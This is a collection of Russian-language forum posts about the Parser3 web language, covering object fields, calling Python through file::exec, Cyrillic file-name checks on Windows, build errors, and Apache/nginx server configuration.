"85399","[quote].. а разработчики (вірождаются) в пусконаладчиков этих фреймворков.[/quote]\
Вот и у меня сложилось такое стойкое впечатление о современном IT.\
\
В одной компании, я работал специалистом по обучению персонала, и под свои нужды написал простенький конструктор речевых скриптов для наших операторов колл-центра.  \
Столкнулся с сложной для меня на то время задачей - в реляционной базе данных продублировать записи нескольких таблиц так, чтобы сохранились связи между ними, а эти связи были завязаны на уникальные ID. \
\
Обратился к нашим программистам. Естественно, Парсера они не знали. Но как оказалось, SQL и концепцию реляционных баз данных тоже. Советовали дублировать таблицы))) Что, однако, не мешало им создать, поддерживать и администрировать портал недвижимости на фреймворке Джанго."
"85400","Я просто именно сейчас начал всеръез задумываться о переходе в IT сферу. Так получилось, что на последних нескольких местах работы, которые с программированием никак не связаны (обучение и оценка персонала), все равно допрограмировываю себе на Парсере какие либо сервисы, которые упрощают основной вид деятельности."
"85401","Если не нужно хранить никаких общих данных для последующих методов класса, лучше сделать так:\
\
[code]\
#abracadabra.p\
@CLASS\
abracadabra\
\
@method1[param]\
^MAIN:dbconnect{$variable[^table::sql{SELECT * FROM table WHERE param=$param}]}\
\
@method2[]\
<p>Hello, world</p>[/code]\
\
\
В теле страницы:\
\
[code]\
#some.html\
@USE\
abracadabra.p\
\
^abracadabra:method1[$var]\
^abracadabra:method2[][/code]"
"85404","Не могу понять логику этого куска кода:\
[code]\
@create[prefix]\
$self.prefix[$prefix]\
[/code]\
\
Эта конструкция из локальной переменной делает глобальную?\
Если да, то насколько глобальной она будет: внутри класса будет доступна везде или вообще?"
"85405","[quote]Эта конструкция из локальной переменной делает глобальную?\
Если да, то насколько глобальной она будет: внутри класса будет доступна везде или вообще?[/quote]\
\
Это явное присвоение значения полю объекта.\
И явное обращение к нему далее.\
\
Во-первых, глобальные переменные — зло, и лично я всегда использую [i]locals[/i] и [i]$self[/i].\
Во-вторых, явное лучше неявного, и [i]$self.var[/i] однозначно демонстрирует факт обращения к полю самого объекта (дополнительно [url=https://www.parser.ru/docs/lang/defineclass.htm]сужается и область поиска переменной[/url]).\
В-третьих, так же лучше вызывать и методы ([i]^self.method[][/i]), что позволит не зависеть от возможного перекрытия кода импортируемыми сторонними операторами.\
\
[url=https://www.parser.ru/docs/lang/definemethod.htm]Определяемые пользователем методы и операторы[/url]."
"85406","[code]@create[prefix]\
$self.prefix[$prefix][/code]\
\
то есть, мы объекту $prefix присвоили значение, которое передалось параметром методу @create?\
\
теперь другие методы этого класса имеют доступ к переменной $prefix? И получить ее значение можно через $self.prefix? Почему не просто $prefix?\
\
За пределами методов класса тоже будет доступна переменная $prefix?"
"85407","[quote]то есть, мы объекту $prefix присвоили значение, которое передалось параметром методу @create?[/quote]\
\
Полю [i]prefix[/i] объекта.\
\
[quote]теперь другие методы этого класса имеют доступ к переменной $prefix? И получить ее значение можно через $self.prefix?[/quote]\
\
Да, это поле объекта.\
\
[quote]Почему не просто $prefix?[/quote]\
\
В предыдущем сообщении расписано по пунктам.\
\
[quote]За пределами методов класса тоже будет доступна переменная $prefix?[/quote]\
\
Как поле объекта — [i]$object.prefix[/i]."
"85413","[code]$A[0]\
^A.int(20)[/code]\
возвращает [i]0[/i]."
"85415","на странице есть [color=\"#ff0000\"] $i [/color] полей ввода текста: \
\
[code]<textarea class=\"w3-input w3-light-grey w3-padding\" name=\"text_$i\" rows=\"1\" ></textarea>[/code]\
таких полей будет около 10. Форма отправляется в обработку, если хотя бы одно поле text_$i заполнено.\
\
[code]$q(0)\
^for[a](1;$i){\
  ^if(def $form:text_$a){ $q(1) ^break[] }\
}\
\
^if($q==1){...обрабатываем форму...}[/code]\
\
Есть ли более элегантный способ? Например за раз проверить, передан ли хоть один параметр с именем text_* ?"
"85417","[code]mkdir /var/www/cgi-bin\
chmod 755 /var/www/cgi-bin\
sudo apt install parser3\
sudo apt install parser3-mysql\
sudo apt install libapache2-mod-parser3[/code]\
\
в файл конфигурации /etc/apache2/apache2.conf добавил\
\
[code]LoadModule parser3_module /usr/lib/apache2/modules/mod_parser3.so[/code]\
\
и\
\
[code]ScriptAlias /cgi-bin/ /var/www/cgi-bin/\
<Directory \"/var/www/cgi-bin\">\
   AllowOverride None\
   Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch\
   AddHandler parser3-handler html\
</Directory>[/code]\
\
\
Делал вариант с AllowOverride FileInfo и AddHandler parser3-handler html в .htaccess\
в результате ничего не работает"
"85418","[quote]ScriptAlias /cgi-bin/ /var/www/cgi-bin/\
<Directory \"/var/www/cgi-bin\">\
   AllowOverride None\
   Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch\
   AddHandler parser3-handler html\
</Directory>[/quote]\
\
Это точно космос, у вас же не в cgi-bin .html лежат.\
\
[quote]AddHandler parser3-handler html в .htaccess[/quote]\
\
А это ближе к инструкции, должно работать:\
\
https://www.parser.ru/docs/lang/?install4apachemodule.htm\
\
Возможно .htaccess выключены? Что если там ошибку сделать?\
\
Еще относительно тонкий момент, но по-идее парсер сам эту ошибку выдает если надо: \"Parser3 module requires apache2-mpm-prefork\""
"85420","Если посмеялся, значит нормальных слов не нашлось. \
В иерархии аргументов высмеивание стоит ниже чем аргумент по сути, аргумент по фактам и отсылка к авторитету. \
\
MVC - это просто один из подходов к программированию (имхо, довольно тяжелый и тупой). Но каждый может реализовать MVC и на Парсере, и на Питоне, и на PHP. \
\
То, что экосистема Парсера-3 бедна фреймворками, это не только минус, но и плюс, т.к. вы избегаете порочной практики замены программирования на пляски с бубном вокруг настроек фреймворков. \
\
Перспектива следующая: Парсер - язык, объединяющий html и программный код. Раньше за такое били по рукам, но недавно появился React, где используется такой же подход, и, ух ты, народ увидел, что это очень удобно. \
\
Сейчас все больше людей учится мыслить в категориях React и анти-MVC, и для них подход парсер-3 оказывается более понятным.\
\
Преимущества Парсер-3 - это скорость разработки малых проектов и прекрасная интероперабельность без необходимости развертывания докера. Они достигаются за счет отсутствия тормозящей массы фреймворков, и отличных системах вывода ошибок и защиты от взлома прямо из коробки."
"85421","Доброго дня, может кто поделится хорошими практиками работы с Питоном из-под Парсера?\
\
Если подробнее, то интересует\
1) если вызывать из-под ^file::exec[], то как лучше организовать вывод ошибок Питона в основной поток? У меня получается что часть ошибок идет в stderr и там закономерно теряется. \
2) если загружать через http, то есть ли что-то лучше чем AIOHTTP, а то не всегда получается корректно запустить этот сервер."
"85422","... конструктор возвращает объект file с stdout и stderr. Проверяете статус и если он не равен нулю, то выбрасываете, например, эксепшн в Парсере. Пример:\
\
[code]\
@tabulate[aTable;aOptions][locals]\
  $lTable[^aTable.csv-string[\
    $.separator[^#09]\
    $.encloser[]\
  ]]\
  $lArgs[^table::create{arg}]\
  ^lArgs.append{--header}\
  ^lArgs.append{--sep=\\t}\
  ^lArgs.append{--format=^if(def $aOptions.format){$aOptions.format}{simple}}\
\
  $result[^file::exec[../path/to/tabulate;$.stdin[$lTable];$lArgs]]\
  ^if($result.status != 0){\
    ^throw[tabulate.fail;Tabulate was failed ($result.status);$result.stdout / $result.stderr]\
  }\
  $result[$result.text]\
[/code]\
\
В Питоне несложно перенести логирование в stdout, но этого делать не требуется. Парсер прекрасно вернет и статус и оба стандартных потока.\
\
p.s. Про запуск aiohttp написано в документации — https://docs.aiohttp.org/en/stable/deployment.html, запускать его из под Парсера не получится. :)"
"85423","А то я всё по отдельности каждый раз выдергивал и постоянно страдал с этим. Спасибо! :)"
"85424","На мой взгляд."
"85425","переношу свой проект в другую папку - было в корне, должно быть в /rating/\
\
Чтобы не переписывать все ссылки в проекте в корневой [color=\"#ff0000\"]auto.p[/color] добавиил:\
\
[code]@auto[]\
$request:document-root[${request:document-root}/rating][/code]\
\
\
Но сайт выдает ошибку 404 - матерится на блок: :\
\
[code]@USE\
/classes/uranus.p[/code]\
ошибка - [b]'/var/.../mydomen.com/classes/uranus.p' read failed: No such file or directory[/b]\
\
Если меняю на\
\
[code]@USE\
/rating/classes/uranus.p[/code]\
- все норм"
"85427","СLASS_PATH решит мою проблему только с подключением классов а их не так много. \
В проекте использую ещё просто ссылки. Большинство из них относительные к корню.\
\
В чем в моем случае ошибка? Почему так не срабатывает?"
"85429","Если в HTML явно выдается абсолютная ссылка /1/2/3/, то изменение $request:document-root на это никак не повлияет. Если же у вас в HTML используются относительные ссылки (без / в начале), то может помочь тег <base href=\"/rating/\"/>.\
\
[quote]@auto[]\
$request:document-root[${request:document-root}/rating][/quote]\
\
По-идее правильно, но раз ошибка - значит уже поздно, стоит попробовать перенести в cgi/auto.p, в секцию @conf[]"
"85430","Спасибо. \
Я сократил до этого \
$x[^file::exec[/../cgi-bin/tst2.py]]\
^if($x.status == 0){<pre>$x.stderr</pre>}\
и работает. \
\
Не подскажете заодно, почему Python 3.x, который вроде как юникодовый, портит кодировку? $request:charset и $response:charset в utf-8.\
Если $request:charset[windows-1251] то кодировка нормальная. \
Если в питоне  print(\"текст\".encode(\"utf-8\")) то парсер выдает \\xбайты."
"85431","Не люблю разглагольства на тему модно/не модно, перспективы и т.д. Парсер — это инструмент, который помогает решать задачи.\
\
Применяю его везде при удобном случае, у него по-прежнему один из самых простых порогов вхождения и самая простая документация. Собрать на нем сайтик на коленке с динамическим содержимым можно за считанные минуты.\
\
Использовал его в проекте с IoT и сложных CRM, всё прекрасно работает. При разумном использовании хорошо вписывается в связку с современными подходами проектирования приложений."
"85432","Оказывается, pspad не хотел сохранять питоновый файл в utf-8, хотя ему прямо и жестко было об этом сказано.\
Так что все становится элементарно просто: вызываем ^file::exec[] и читаем поле с ошибкой."
"85433","Делаю поиск запчастей по Emex. Отправка запроса в xml.\
\
По докам логин должен быть в формате long, остальные параметры в string.\
\
Сам по себе логин - адрес эл. почты, т.е. вида mail@mail.ru.\
\
Как его сконвертить в long?"
"85434","Отвечу сам)\
\
Эти долбоящеры не умеют писать доки. Вместо login надо использовать UserID\
\
Мелочь, а времени много отняла."
"85436","Благодаря allex в [url=\"/utils/\"]инструментах[/url] обновился плагин parser3 для редактора IntelliJ IDEA, поддерживается версия 2020. Замечания и пожелания можно писать как здесь, так и на [url=\"https://github.com/artlebedev/idea-parser3/issues\"]GitHub[/url]."
"85438","Есть такая странность - если файл с русскими буквами, то file::load этот файл загружает, но проверка -f с тем же файлом не проходит - файл не найден. Имена файлов я не контролирую, поэтому вариант не использовать русские символы - не подходит. \
\
Пока вижу 2 workaround:\
1. вместо -f использовать try + file::load\
2. вместо -f использовать file:list + select\
\
Оба, имхо, так себе. Нельзя ли -f исправить, чтобы он тоже файлы с кириллицей видел?\
\
3.4.6b + win64"
"85439","Но сохранять оригинальные имена файлов — плохая идея.\
\
Оригинальное имя можно сохранить где-нибудь в «мета-данных», но сам файл должен называться предсказуемо.\
\
Лично я, к примеру, использую hex-представление CRC-32 — так все имена шаблонны, а в довесок идёт бесплатная защита от дубликатов.\
\
[code]@filename[file;name]\
$checksum(^file.crc32[])\
\
$ext[^file:justext[$name]]\
$ext[^ext.lower[]]\
\
$result[^checksum.format[%x].$ext][/code]"
"85440","У меня примерно также, имя файла меняется на uuid, но кириллица иногда попадает в расширение. Отказываться от расширений категорически нельзя, т.к. это делает невозможным работать с файлами на уровне оси. И как уже говорил - я не контролирую именование файлов, но мне надо с ними работать."
"85441","[quote]кириллица иногда попадает в расширение[/quote]\
\
Что-то я не припоминаю чтобы стандарты это разрешали."
"85442","Разве есть какие то стандарты на имена или расширения файлов в файловой системе?"
"85443","Думаю, зависит от ФС и ОС.\
\
Но в целом это же метаданные, описывающие тип файла, обычно обрабатываемые рядом приложений.\
Кириллические расширения может использовать, разве что, приложение разработки СНГ, притом, крайне своеобразное.\
Поддержка такого типа файлов действительно нужна?\
\
Я могу припомнить единственный случай встречи с кириллическим расширением, правда уже не помню что его использовало.\
\
Я бы такое в сыром виде не обрабатывал, а заменял на внутреннее расширение, которое, при необходимости, описал бы на уровне расширение-MYME-type, а название для content-disposition брал уже из метаданных, хранящихся вне ФС.\
\
Ну, и так или иначе, нужен белый список расширений, а лучше и реальных типов файлов.\
Иначе кто-нибудь непременно загрузит файл с каким-нибудь мусором из непечатных UTF-символов в имени или с именем в пару килобайт иероглифов."
"85444","^if(-f 'русский.txt'){+}{-} у меня при заданной в парсере кодировке UTF-8 работает корректно.\
\
По коду там тоже примерно одинаковое Windows API используется и для открытия, и для получения информации о файле...\
\
int pa_stat(const char *pathname, struct stat *buffer){\
        const UTF16* utf16name=pa_utf16_encode(pathname, pa_thread_request().charsets.source());\
        return _wstat64((const wchar_t *)utf16name, buffer);\
}\
        \
int pa_open(const char *pathname, int flags, int mode){\
        const UTF16* utf16name=pa_utf16_encode(pathname, pa_thread_request().charsets.source());\
        return _wopen((const wchar_t *)utf16name, flags, mode);\
}"
"85445","Положил в папку /test/ 3 файла:\
[code]test>dir /B\
name.extention\
имя.txt\
имя.расширение[/code]\
\
Скрипт:\
[code]@main[]\
$response:charset[utf-8]\
$request:charset[utf-8]\
\
$env:PARSER_VERSION<br><br>\
$tFiles[^file:list[/test/]]\
^tFiles.count[] files found<br/><br/>\
^tFiles.menu{\
	^if(-f '/test/${tFiles.name}'){\
		File '${tFiles.name}' found<br/>\
	}{\
		File '${tFiles.name}' not found<br/>\
	}\
	$fStat[^file::stat[/test/${tFiles.name}]]\
	Stat: $fStat.name ^if($fStat is file){ok}{fail}<br/>\
	$fLoad[^file::load[binary;/test/${tFiles.name}]]\
	Load: $fStat.name ^if($fLoad is file){ok}{fail}<br/>\
\
}[<br/>]\
[/code]\
\
Результат:\
[quote]3.4.6b (compiled on amd64-pc-win64)\
\
3 files found\
\
File 'name.extention' [b]found[/b]\
Stat: name.extention ok\
Load: name.extention ok\
\
File 'имя.txt' [b]not found[/b]\
Stat: имя.txt ok\
Load: имя.txt ok\
\
File 'имя.расширение' [b]not found[/b]\
Stat: имя.расширение ok\
Load: имя.расширение ok[/quote]\
\
Винда - Server 2012R2 x64"
"85446","Я с этими файлами ничего не делаю, они приходят извне и кладутся на диск внешним сервисом, а мне их надо по запросу отдать клиенту в первозданном виде. Внешний сервис по идее должен сам эту нештатку отфильтровывать (ЕПГУ), но он этого не делает и присылает вот такое вот ))) Обычно внутри там нормальный файл, pdf например. Я уже думал прикрутить отдельную утилиту, которая по внутренностям будет определять что это в реальности за файл и переименовывать, но это отдельная задачка.. -f то все равно должен работать, я думаю."
"85447","Там полгода назад исправлялось нижеуказанное, у меня сейчас ваш тест нормально работает:\
\
[quote]-f и -d. Проверка доступности -> проверка существования.\
\
В документации четко написано, что проверяется существование файла:\
https://www.parser.ru/docs/lang/?opsfd.htm\
\
Но на деле еще проверяется, что есть доступ: access(fname, R_OK)==0, плюc сам метод там называется entry_readable (а не entry_exists).\
То есть если файл существует, а доступа нет (chmod 000 например), -f вернет false.\
\
Отличие достаточно тонкое, и наткнулся на это я по другой причине. :) -f и -d в итоге не работают с русскими именами файлов/директорий под Windows, когда парсер работает в UTF-8, поскольку надо использовать waccess и переводить имя из utf-8 в wchar (USC-2):\
\
https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/access-waccess?view=vs-2019\
\
Но чем использовать waccess, думаю просто убрать лишнюю проверку и привести поведение парсера в соответствии с документацией.\
[/quote]\
\
Так и было сделано:\
\
http://redmine.parser.ru/projects/parser3/repository/revisions/8050/diff"
"85448","Правда, пришлось проект тянуть заново — старый перестал собираться, ругаясь на «внешние символы»:\
[code]16>LINK : warning LNK4098: библиотека по умолчанию \"LIBCMT\" противоречит использованию других библиотек; используйте параметр /NODEFAULTLIB:library\
16>classes.lib(math.obj) : error LNK2019: ссылка на неразрешенный внешний символ \"public: __thiscall Base64Options::Base64Options(bool)\" (??0Base64Options@@QAE@_N@Z) в функции \"public: __thiscall MMath::MMath(void)\" (??0MMath@@QAE@XZ)\
16>classes.lib(file.obj) : error LNK2001: неразрешенный внешний символ \"\"public: __thiscall Base64Options::Base64Options(bool)\" (??0Base64Options@@QAE@_N@Z)\"\
16>main.lib(pa_http.obj) : error LNK2001: неразрешенный внешний символ \"\"public: __thiscall Base64Options::Base64Options(bool)\" (??0Base64Options@@QAE@_N@Z)\"\
16>types.lib(pa_vmail.obj) : error LNK2001: неразрешенный внешний символ \"\"public: __thiscall Base64Options::Base64Options(bool)\" (??0Base64Options@@QAE@_N@Z)\"\
16>types.lib(pa_vfile.obj) : error LNK2001: неразрешенный внешний символ \"\"public: __thiscall Base64Options::Base64Options(bool)\" (??0Base64Options@@QAE@_N@Z)\"\
16>classes.lib(string.obj) : error LNK2001: неразрешенный внешний символ \"\"public: __thiscall Base64Options::Base64Options(bool)\" (??0Base64Options@@QAE@_N@Z)\"\
16>classes.lib(math.obj) : error LNK2019: ссылка на неразрешенный внешний символ \"char * __cdecl pa_base64_encode(char const *,unsigned int,struct Base64Options)\" (?pa_base64_encode@@YAPADPBDIUBase64Options@@@Z) в функции \"public: __thiscall MMath::MMath(void)\" (??0MMath@@QAE@XZ)\
16>classes.lib(file.obj) : error LNK2001: неразрешенный внешний символ \"\"char * __cdecl pa_base64_encode(char const *,unsigned int,struct Base64Options)\" (?pa_base64_encode@@YAPADPBDIUBase64Options@@@Z)\"\
16>main.lib(pa_http.obj) : error LNK2001: неразрешенный внешний символ \"\"char * __cdecl pa_base64_encode(char const *,unsigned int,struct Base64Options)\" (?pa_base64_encode@@YAPADPBDIUBase64Options@@@Z)\"\
16>types.lib(pa_vmail.obj) : error LNK2001: неразрешенный внешний символ \"\"char * __cdecl pa_base64_encode(char const *,unsigned int,struct Base64Options)\" (?pa_base64_encode@@YAPADPBDIUBase64Options@@@Z)\"\
16>types.lib(pa_vfile.obj) : error LNK2001: неразрешенный внешний символ \"\"char * __cdecl pa_base64_encode(char const *,unsigned int,struct Base64Options)\" (?pa_base64_encode@@YAPADPBDIUBase64Options@@@Z)\"\
16>classes.lib(string.obj) : error LNK2001: неразрешенный внешний символ \"\"char * __cdecl pa_base64_encode(char const *,unsigned int,struct Base64Options)\" (?pa_base64_encode@@YAPADPBDIUBase64Options@@@Z)\"\
16>libxml2_a.lib(buf.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxml2_a.lib(xpath.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxslt_a.lib(extensions.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxslt_a.lib(xsltutils.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxml2_a.lib(error.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxml2_a.lib(parserInternals.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxml2_a.lib(xmlIO.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>libxml2_a.lib(tree.obj) : error LNK2001: неразрешенный внешний символ \"__iob\"\
16>classes.lib(string.obj) : error LNK2019: ссылка на неразрешенный внешний символ \"public: void __thiscall Base64Options::set_url_safe_abc(void)\" (?set_url_safe_abc@Base64Options@@QAEXXZ) в функции \"struct Base64Options __cdecl base64_decode_options(class Request &,class OrderedHashString<class Value *> *)\" (?base64_decode_options@@YA?AUBase64Options@@AAVRequest@@PAV?$OrderedHashString@PAVValue@@@@@Z)\
16>classes.lib(file.obj) : error LNK2001: неразрешенный внешний символ \"\"public: void __thiscall Base64Options::set_url_safe_abc(void)\" (?set_url_safe_abc@Base64Options@@QAEXXZ)\"\
16>classes.lib(string.obj) : error LNK2019: ссылка на неразрешенный внешний символ \"unsigned int __cdecl pa_base64_decode(char const *,unsigned int,char * &,struct Base64Options)\" (?pa_base64_decode@@YAIPBDIAAPADUBase64Options@@@Z) в функции \"void __cdecl _base64(class Request &,class MethodParams &)\" (?_base64@@YAXAAVRequest@@AAVMethodParams@@@Z)\
16>classes.lib(file.obj) : error LNK2001: неразрешенный внешний символ \"\"unsigned int __cdecl pa_base64_decode(char const *,unsigned int,char * &,struct Base64Options)\" (?pa_base64_decode@@YAIPBDIAAPADUBase64Options@@@Z)\"\
16>classes.lib(inet.obj) : error LNK2019: ссылка на неразрешенный внешний символ __imp__getaddrinfo@16 в функции \"void __cdecl _ip2name(class Request &,class MethodParams &)\" (?_ip2name@@YAXAAVRequest@@AAVMethodParams@@@Z)\
16>classes.lib(inet.obj) : error LNK2019: ссылка на неразрешенный внешний символ __imp__freeaddrinfo@4 в функции \"void __cdecl _ip2name(class Request &,class MethodParams &)\" (?_ip2name@@YAXAAVRequest@@AAVMethodParams@@@Z)\
16>classes.lib(inet.obj) : error LNK2019: ссылка на неразрешенный внешний символ __imp__getnameinfo@28 в функции \"void __cdecl _ip2name(class Request &,class MethodParams &)\" (?_ip2name@@YAXAAVRequest@@AAVMethodParams@@@Z)[/code]"
"85449","Мы же теперь статически линкуемся с библиотеками C++. Получается один parser3.exe, дополнительные .dll не нужны."
"85450","При этом я заново скачал директорию [i]parser3[/i] из репозитория, а сам [i]parser3.sln[/i] взял из старой директории (не конвертировал проект заново) — и проект собрался."
"85451","Подскажите пожалуйста, какой из этих  [url=\"https://codemirror.net/mode/index.html\"] ЯП [/url] наиболее совместим с Парсером? Или может быть у кого-то есть кастомный файл подсветки для CodeMirror?\
\
Ещё вопрос-предложение: админы, создайте пожалуйста группу в Telegram для Парсера, там ведь было бы гораздо удобнее общаться чем на форуме: не надо авторизовываться, есть выделение блоков кода и т. д."
"85455","Если уточнений не будет - то и в 3.4.6 будет такая же - она же автоматически делается во всех форматах ..."
"85457","в chm желательно всетаки написать, что \"закомментированньій некорректньій код все равно приведет к ошибке интерпретатора\""
"85458","То есть получается документация таки полная? :) А индекса из .chm на сайте вообще нет. Оносительно наличия в нем return - видимо забыли в свойствах указать, поправим если не забудем."
"85461","Это же крайне простая задача. :)"
"85464","Amazon Linux 2 AMI :\
\
[code]\
$ sudo amazon-linux-extras enable epel\
$ sudo yum clean metadata\
$ sudo yum install epel-release\
$ sudo yum install fcgiwrap\
$ sudo yum install multiwatch\
$ sudo yum install spawn-fcgi\
\
$ cd /etc/sysconfig\
$ sudo ed spawn-fcgi\
\
$ cat spawn-fcgi\
# You must set some working options before the \"spawn-fcgi\" service will work.\
# If SOCKET points to a file, then this file is cleaned up by the init script.\
#\
# See spawn-fcgi(1) for all possible options.\
#\
# Example :\
#SOCKET=/var/run/php-fcgi.sock\
#OPTIONS=\"-u apache -g apache -s $SOCKET -S -M 0600 -C 32 -F 1 -P /var/run/spawn-fcgi.pid -- /usr/bin/php-cgi\"\
\
FCGI_SOCKET=/var/run/fcgiwrap.sock\
FCGI_PROGRAM=/usr/sbin/fcgiwrap\
FCGI_USER=nginx\
FCGI_GROUP=nginx\
FCGI_EXTRA_OPTIONS=\"-M 0700\"\
FCGI_EXTRA_M=\"0700\"\
ALLOWED_ENV=\"PATH\"\
\
\
MW_PROGRAM=/usr/bin/multiwatch\
MW_CHILDREN=32\
\
OPTIONS=\"-u $FCGI_USER -g $FCGI_GROUP -s $FCGI_SOCKET -S -M $FCGI_EXTRA_M -C 32 -F 1 -P /var/run/spawn-fcgi.pid -- $MW_PROGRAM -f $MW_CHILDREN $FCGI_PROGRAM\"\
<<EOF\
\
$ mkdir /www/parser\
$ cd /www/parser\
$ wget https://www.parser.ru/f/1/download/parser345/parser3_4_5_debian8x64.tar.gz\
$ tar xzvf parser3_4_5_debian8x64.tar.gz 3_4_5debian8x64\
$ cd /www/parser/3_4_5debian8x64\
$ ./parser3.cgi\
[/code]\
[quote]./parser3.cgi: file not specified\
Parser/3.4.5 (compiled on x86_64-unknown-linux-gnu)\
Copyright (c) 2001-2017 Art. Lebedev Studio (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/quote]\
[code]\
$ ln -s /www/parser/3_4_5debian8x64 /www/parser/current\
[/code]\
\
в /etc/nginx/sites-available/Site.conf прописьіваю\
fastcgi_param       SCRIPT_FILENAME /www/parser/current/parser3.cgi;\
\
\
\
если полезно, то можно ли в https://www.parser.ru/hosters/ добавить Амазон ?"
"85465","тогда уже до кучи, \"чтоб не забыть\", настройки /etc/nginx/conf.d/example.com.conf:\
\
[code]##############################################\
# example.com\
##############################################\
\
server {\
	listen 443      ssl;\
	listen [::]:443 ssl;\
	ssl_certificate       /etc/letsencrypt/live/example.com/fullchain.pem; \
	ssl_certificate_key   /etc/letsencrypt/live/example.com/privkey.pem; \
	include               /etc/letsencrypt/options-ssl-nginx.conf; \
	server_name           example.com;\
	root                  /var/www/example.com/html;\
	index                 index.html index.htm index.parser;\
	location / {\
		try_files $uri $uri/ =404;\
	}\
	location ~ \\.parser$ {\
		try_files      $uri     =404;\
		fastcgi_pass   unix:/var/run/fcgiwrap.socket;\
		fastcgi_param  SCRIPT_NAME  $request_uri;\
		fastcgi_param  SCRIPT_FILENAME  /var/www/example.com/cgi/parser3.cgi;\
		fastcgi_param  PATH_INFO    $fastcgi_script_name;\
		fastcgi_param  PATH_TRANSLATED  /var/www/example.com/html$fastcgi_script_name;\
		include /etc/nginx/fastcgi_params;\
	}\
	location ~ \\.(p|cfg|dir|pag)$ {\
		return 404;\
	}\
}\
\
##############################################\
# www.example.com, no SSL\
##############################################\
\
server {\
	listen 80;\
	listen [::]:80;\
	return 301 https://example.com$request_uri;\
	server_name example.com www.example.com;\
}\
\
server {\
	listen 443 ssl; \
	ssl_certificate     /etc/letsencrypt/live/www.example.com/fullchain.pem; \
	ssl_certificate_key /etc/letsencrypt/live/www.example.com/privkey.pem; \
	include             /etc/letsencrypt/options-ssl-nginx.conf; \
	server_name         www.example.com;\
	return 302          https://example.com$request_uri;\
}[/code]"
"85466","Видимо да, попробую пересобрать в ближайшие дни и протестить. В редмайн нет доступа у меня, можно добавить?"
"85467","Сделал поддержку синтаксиса под новый редактор Nova от Panic. Это бывший редактор Panic Coda. Не все еще идеально, но по ходу дела доработаю.\
\
Доступно в библиотеке расширений в редакторе или на сайте\
[url=\"https://extensions.panic.com/extensions/ivansergeev/ivansergeev.Parser3/\"]extensions.panic.com[/url]\
\
Так же на [url=\"https://github.com/ivansergeev/parser3-novaextension\"]GitHub[/url]\
\
Позже будет еще тема для нормальной подсветки синтаксиса."
"85468","Здравствуйте.\
Если надо подключить файл в классе с использованием переменной в пути, то можно объявить @auto и там подключить через ^use.\
\
В случае дочернего класса, как я понял, BASE выполняется раньше, поэтому класс, подключенный в @auto, не обнаруживается в BASE.\
\
Можно ли как-то:\
1. Использовать переменные в @USE (возможно, особый синтаксис)?\
2. Объявить базовый класс не в BASE, а в @auto?"
"85469","Самый кардинальный - определить например в cgi/auto.p свой метод @use, он будет вызываться и при использовании @USE, и там можно реализовать любую логику. По [url=\"https://github.com/artlebedev/parser3/blob/master/tests/366.html\"]ссылке[/url] на парсере реализовано стандартное поведение @USE.\
\
Еще есть [url=\"/docs/lang/?defineclass.htm\"]autouse[/url].\
\
Ну а проще всего наверное сначала явно сделать ^use[базового класса], а потом ^use[потомка], и все получится..."
"85470","[quote]Ну а проще всего наверное сначала явно сделать ^use[базового класса], а потом ^use[потомка], и все получится...[/quote]\
Проблема как раз в подключении базового класса из дочернего.\
\
[b]Если сделать ^use[базового класса], то как его потом объявить базовым, т.к. в BASE он не виден?[/b]\
\
autouse, как я понял, работает в 3.4.5 не так, как надо.\
\
Если в cgi/auto.p создать метод\
[code]@use[a;b]\
	^use[$a][/code]\
то при вызове ^use происходит зацикливание, что и понятно."
"85471","Для этого прекрасно подходит шаблон проектирования [url=https://refactoring.guru/ru/design-patterns/strategy]«стратегия»[/url]. Выносите специфическое поведение в отдельный класс и параметризируете им основной класс через конструктор.\
\
[code]\
\
@main[][locals]\
  $actions[\
     $.get_data[DataAction]\
     $._default[DefaultAction]\
  ]\
  $options[\
     $.sql[...]\
  ]\
  $handler[^Handler::create[\
    ^reflection::create[$actions.[$form:action];create;$options]\
  ]\
  ^handler.run[]\
\
\
@CLASS\
Handler\
\
@OPTIONS\
locals\
\
@create[aAction]\
   $self._action[$aAction]\
\
@run[]\
   ^self._action.process[$form:fields]\
\
\
@CLASS\
DefaultAction\
\
@create[aOptions]\
\
@process[aForm]\
   Default page\
\
\
@CLASS\
DataAction\
\
@OPTIONS\
locals\
\
@create[aOptions]\
  $self._sql[$aOptions.sql]\
\
@process[aForm]\
  $lData[^self._sql.table{\
    select * from data where id = ^aForm.id.int(-1)\
  }]\
  ^if($lData){\
     $lData.text\
  }{\
    Data not found\
  }\
[/code]\
\
p.s. Очень надеюсь, что вы пользуетесь исключительно динамическими объектами, а не статическими классами в своем коде. В статических классах вам недоступно большинство ООП-приемов. :)"
"85472","Или давайте с примерами, возможно мы о разном говорим?\
/a/a.p\
[code]@CLASS\
a\
\
@create[][/code]\
\
/b/b.p\
[code]@CLASS\
b\
\
@BASE\
a\
\
@create[][/code]\
\
test.html. Вот так работает:\
[code]^use[/a/a.p]\
^use[/b/b.p][/code]\
\
А вот так:\
\
[code]#^use[/a/a.p]\
^use[/b/b.p][/code]\
\
Будет ошибка\
'a': undefined class in @BASE"
"85473","Не так.)\
[code]@CLASS\
a\
\
@USE\
$path/class1.p\
\
@BASE\
class1[/code]\
\
Задача подключить базовый класс, используя переменную из глобального конфига."
"85474","@USE убрать, добавить например в cgi/auto.p\
\
[code]@autouse[name]\
^use[$path/${name}.p]\
[/code]"
"85475","То, что я предложил выше, тоже работает (но не очень красиво).\
Перед использованием a.p сказать ^use[$path/class1.p]"
"85476","$path может быть разным, а в autouse передается только имя класса.\
Если использовать сторонние классы, то не факт, что название класса будет совпадать с названием файла."
